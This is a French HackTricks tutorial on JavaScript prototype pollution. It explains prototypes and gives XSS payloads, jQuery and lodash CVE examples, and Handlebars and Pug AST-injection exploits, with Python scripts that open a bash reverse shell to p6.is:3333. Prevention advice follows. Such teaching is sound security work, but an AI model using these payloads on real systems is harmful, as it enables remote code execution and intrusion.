NodeJS - __proto__ & prototype Pollution
Reading time: 13 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Objets en JavaScript
Les objets en JavaScript sont essentiellement des collections de paires clé-valeur, connues sous le nom de propriétés. Un objet peut être créé en utilisant Object.create
avec null
comme argument pour produire un objet vide. Cette méthode permet la création d'un objet sans aucune propriété héritée.
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
Un objet vide est semblable à un dictionnaire vide, représenté par {}
.
Fonctions et classes en JavaScript
En JavaScript, les classes et les fonctions sont étroitement liées, les fonctions servant souvent de constructeurs pour les classes. Malgré l'absence de support natif des classes en JavaScript, les constructeurs peuvent imiter le comportement des classes.
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
Prototypes en JavaScript
JavaScript permet la modification, l'ajout ou la suppression d'attributs de prototype à l'exécution. Cette flexibilité permet l'extension dynamique des fonctionnalités des classes.
Des fonctions comme toString
et valueOf
peuvent être modifiées pour changer leur comportement, démontrant la nature adaptable du système de prototype de JavaScript.
Héritage
Dans la programmation basée sur les prototypes, les propriétés/méthodes sont héritées par des objets à partir de classes. Ces classes sont créées en ajoutant des propriétés/méthodes soit à une instance d'une autre classe, soit à un objet vide.
Il convient de noter que lorsqu'une propriété est ajoutée à un objet servant de prototype pour d'autres objets (comme myPersonObj
), les objets héritant ont accès à cette nouvelle propriété. Cependant, cette propriété n'est pas automatiquement affichée à moins qu'elle ne soit explicitement invoquée.
__proto__ pollution
Explorer la pollution de prototype en JavaScript
Les objets JavaScript sont définis par des paires clé-valeur et héritent du prototype d'objet JavaScript. Cela signifie que modifier le prototype d'objet peut influencer tous les objets dans l'environnement.
Utilisons un exemple différent pour illustrer :
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
L'accès au prototype d'objet est possible via :
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
En ajoutant des propriétés au prototype de l'objet, chaque objet JavaScript héritera de ces nouvelles propriétés :
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
pollution de prototype
Pour un scénario où l'utilisation de __proto__
est restreinte, modifier le prototype d'une fonction est une alternative :
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
Cela n'affecte que les objets créés à partir du constructeur Vehicle
, leur donnant les propriétés beep
, hasWheels
, honk
et isElectric
.
Deux méthodes pour affecter globalement les objets JavaScript par le biais de la pollution de prototype incluent :
- Polluer directement le
Object.prototype
:
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
- Polluer le prototype d'un constructeur pour une structure couramment utilisée :
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}
Après ces opérations, chaque objet JavaScript peut exécuter les méthodes goodbye
et greet
.
Polluer d'autres objets
D'une classe à Object.prototype
Dans un scénario où vous pouvez polluer un objet spécifique et que vous devez accéder à Object.prototype
, vous pouvez le rechercher avec quelque chose comme le code suivant :
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
Pollution des éléments de tableau
Notez que comme vous pouvez polluer les attributs des objets en JS, si vous avez accès pour polluer un tableau, vous pouvez également polluer les valeurs du tableau accessibles par des index (notez que vous ne pouvez pas écraser les valeurs, donc vous devez polluer des index qui sont d'une certaine manière utilisés mais non écrits).
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
Pollution des éléments Html
Lors de la génération d'un élément HTML via JS, il est possible de surcharger l'attribut innerHTML
pour écrire du code HTML arbitraire. Idée et exemple de cet article.
// Create element
devSettings["root"] = document.createElement('main')
// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
Exemples
Exemple de base
Une pollution de prototype se produit en raison d'un défaut dans l'application qui permet d'écraser des propriétés sur Object.prototype
. Cela signifie que, puisque la plupart des objets dérivent leurs propriétés de Object.prototype
L'exemple le plus simple est d'ajouter une valeur à un attribut indéfini d'un objet qui va être vérifié, comme :
if (user.admin) {
Si l'attribut admin
est indéfini, il est possible d'abuser d'un PP et de le définir sur True avec quelque chose comme :
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
Le mécanisme derrière cela implique de manipuler des propriétés de sorte que si un attaquant a le contrôle de certaines entrées, il peut modifier le prototype de tous les objets dans l'application. Cette manipulation implique généralement de définir la propriété __proto__
, qui, en JavaScript, est synonyme de modification directe du prototype d'un objet.
Les conditions sous lesquelles cette attaque peut être exécutée avec succès, comme décrit dans une étude spécifique, incluent :
- Effectuer une fusion récursive.
- Définir des propriétés en fonction d'un chemin.
- Cloner des objets.
Fonction de remplacement
customer.__proto__.toString = ()=>{alert("polluted")}
Pollution de prototype à RCE
Autres charges utiles :
Pollution de prototype côté client à XSS
Client Side Prototype Pollution
CVE-2019–11358 : Attaque par pollution de prototype via jQuery $ .extend
Pour plus de détails, consultez cet article Dans jQuery, la fonction $ .extend
peut entraîner une pollution de prototype si la fonctionnalité de copie profonde est utilisée de manière incorrecte. Cette fonction est couramment utilisée pour cloner des objets ou fusionner des propriétés d'un objet par défaut. Cependant, lorsqu'elle est mal configurée, des propriétés destinées à un nouvel objet peuvent être assignées au prototype à la place. Par exemple :
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
Cette vulnérabilité, identifiée comme CVE-2019–11358, illustre comment une copie profonde peut modifier involontairement le prototype, entraînant des risques de sécurité potentiels, tels qu'un accès administrateur non autorisé si des propriétés comme isAdmin
sont vérifiées sans vérification appropriée de leur existence.
CVE-2018–3721, CVE-2019–10744 : Attaque par pollution de prototype via lodash
Pour plus de détails, consultez cet article
Lodash a rencontré des vulnérabilités similaires de pollution de prototype (CVE-2018–3721, CVE-2019–10744). Ces problèmes ont été résolus dans la version 4.17.11.
Un autre tutoriel avec des CVE
Outils pour détecter la pollution de prototype
- Server-Side-Prototype-Pollution-Gadgets-Scanner : Extension Burp Suite conçue pour détecter et analyser les vulnérabilités de pollution de prototype côté serveur dans les applications web. Cet outil automatise le processus de scan des requêtes pour identifier les problèmes potentiels de pollution de prototype. Il exploite des gadgets connus - méthodes d'exploitation de la pollution de prototype pour exécuter des actions nuisibles - en se concentrant particulièrement sur les bibliothèques Node.js.
- server-side-prototype-pollution : Cette extension identifie les vulnérabilités de pollution de prototype côté serveur. Elle utilise des techniques décrites dans la pollution de prototype côté serveur.
Pollution de Prototype AST dans NodeJS
NodeJS utilise largement les arbres de syntaxe abstraite (AST) en JavaScript pour des fonctionnalités telles que les moteurs de templates et TypeScript. Cette section explore les vulnérabilités liées à la pollution de prototype dans les moteurs de templates, spécifiquement Handlebars et Pug.
Analyse de la vulnérabilité Handlebars
Le moteur de template Handlebars est susceptible à une attaque de pollution de prototype. Cette vulnérabilité provient de fonctions spécifiques dans le fichier javascript-compiler.js
. La fonction appendContent
, par exemple, concatène pendingContent
si elle est présente, tandis que la fonction pushSource
réinitialise pendingContent
à undefined
après avoir ajouté la source.
Processus d'exploitation
L'exploitation tire parti de l'AST (Arbre de Syntaxe Abstraite) produit par Handlebars, suivant ces étapes :
- Manipulation du Parser : Initialement, le parser, via le nœud
NumberLiteral
, impose que les valeurs soient numériques. La pollution de prototype peut contourner cela, permettant l'insertion de chaînes non numériques. - Gestion par le Compilateur : Le compilateur peut traiter un objet AST ou un template de chaîne. Si
input.type
est égal àProgram
, l'entrée est traitée comme pré-analysée, ce qui peut être exploité. - Injection de Code : Par la manipulation de
Object.prototype
, on peut injecter du code arbitraire dans la fonction de template, ce qui peut conduire à une exécution de code à distance.
Un exemple démontrant l'exploitation de la vulnérabilité Handlebars :
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
Ce code montre comment un attaquant pourrait injecter du code arbitraire dans un modèle Handlebars.
Référence externe : Un problème lié à la pollution de prototype a été trouvé dans la bibliothèque 'flat', comme détaillé ici : Issue on GitHub.
Référence externe : Issue related to prototype pollution in the 'flat' library
Exemple d'exploitation de la pollution de prototype en Python :
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
Vulnérabilité Pug
Pug, un autre moteur de templates, fait face à un risque similaire de pollution de prototype. Des informations détaillées sont disponibles dans la discussion sur AST Injection in Pug.
Exemple de pollution de prototype dans Pug :
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
Mesures Préventives
Pour réduire le risque de pollution de prototype, les stratégies énumérées ci-dessous peuvent être employées :
- Immutabilité des Objets : Le
Object.prototype
peut être rendu immuable en appliquantObject.freeze
. - Validation des Entrées : Les entrées JSON doivent être rigoureusement validées par rapport au schéma de l'application.
- Fonctions de Fusion Sûres : L'utilisation non sécurisée de fonctions de fusion récursives doit être évitée.
- Objets sans Prototype : Des objets sans propriétés de prototype peuvent être créés en utilisant
Object.create(null)
. - Utilisation de Map : Au lieu de
Object
,Map
doit être utilisé pour stocker des paires clé-valeur. - Mises à Jour de Bibliothèque : Des correctifs de sécurité peuvent être incorporés en mettant régulièrement à jour les bibliothèques.
- Outils de Linter et d'Analyse Statique : Utilisez des outils comme ESLint avec des plugins appropriés pour détecter et prévenir les vulnérabilités de pollution de prototype.
- Revue de Code : Mettez en œuvre des revues de code approfondies pour identifier et remédier aux risques potentiels liés à la pollution de prototype.
- Formation à la Sécurité : Éduquez les développeurs sur les risques de pollution de prototype et les meilleures pratiques pour écrire du code sécurisé.
- Utilisation Prudente des Bibliothèques : Soyez prudent lors de l'utilisation de bibliothèques tierces. Évaluez leur posture de sécurité et examinez leur code, en particulier celles qui manipulent des objets.
- Protection à l'Exécution : Employez des mécanismes de protection à l'exécution tels que l'utilisation de packages npm axés sur la sécurité qui peuvent détecter et prévenir les attaques de pollution de prototype.
Références
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l
- https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7
- https://blog.p6.is/AST-Injection/
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.